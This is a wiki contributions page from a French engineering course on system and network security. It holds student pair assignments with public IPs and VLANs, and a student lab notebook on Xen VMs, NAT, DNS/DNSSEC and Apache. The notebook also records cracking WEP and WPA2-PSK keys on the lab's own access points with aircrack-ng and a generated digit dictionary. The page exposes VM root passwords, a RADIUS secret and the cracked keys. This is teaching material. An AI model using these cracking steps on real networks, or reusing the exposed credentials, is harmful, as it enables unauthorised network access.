wiki-se.plil.fr - Contributions [fr]

SE4 IdO sécurité système/réseau 2025/2026

2026-03-03T10:43:06Z

Cpayet : /* Répartition des binômes pour les travaux pratiques "administration système et réseau" */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
!numéro de binôme
!Adresse IPV4 OpenWRT
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|1
|
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|
|
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|3
|193.48.57.180
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|4
|
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|5
|
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|7
|
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|6
|
|-
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi
|2
|
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|Styx
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|23
|-
|E14-Antonin
|24
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|-
|E8-Yassine
|18
|-
|E7-Ibrahim
|17
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|-
|PoolYassine
|10.60.8.0/24
|2001:660:4401:60a8::/64
|-
|PoolEvora
|10.60.11.0/24
|2001:660:4401:60ab::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E5

2026-02-10T17:09:18Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface Dot11Radio0
ssid VM_SERVICES_5
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

Et ensuite sur le routeur :<syntaxhighlight lang="shell">
conf t

ip dhcp pool PoolCedric
network 10.60.5.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.5.254
exit

exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
interface Vlan15
description "VLAN personnel de Cedric PAYET (E5) - WPA2-EAP"
ip address 10.60.5.2 255.255.255.0
ipv6 address 2001:660:4401:60a5::2/64
vrrp 15 address-family ipv4
priority 110
address 10.60.5.1 primary
exit-vrrp
end

</syntaxhighlight><syntaxhighlight lang="shell">
conf t
vlan 15
name E5-Cedric
exit
exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
wifi-E306(config)#interface GigabitEthernet0.15
wifi-E306(config-subif)#encapsulation dot1Q 15
wifi-E306(config-subif)#bridge-group 15
wifi-E306(config-subif)#bridge-group 15 spanning-disabled
wifi-E306(config-subif)#no bridge-group 15 source-learning
wifi-E306(config-subif)#exit
wifi-E306(config)#exit

</syntaxhighlight><syntaxhighlight lang="shell">
wifi-E306(config)#int dot11radio0
wifi-E306(config-if)#encryption vlan 5 mode ciphers aes-ccm
wifi-E306(config-if)#ssid VM_SERVICES_5
wifi-E306(config-if)#exit
wifi-E306(config)#exit
wifi-E306#sh run

</syntaxhighlight><syntaxhighlight lang="shell">
interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
bridge-group 15 subscriber-loop-control
bridge-group 15 spanning-disabled
bridge-group 15 block-unknown-source
no bridge-group 15 source-learning
no bridge-group 15 unicast-flooding

</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T17:06:34Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
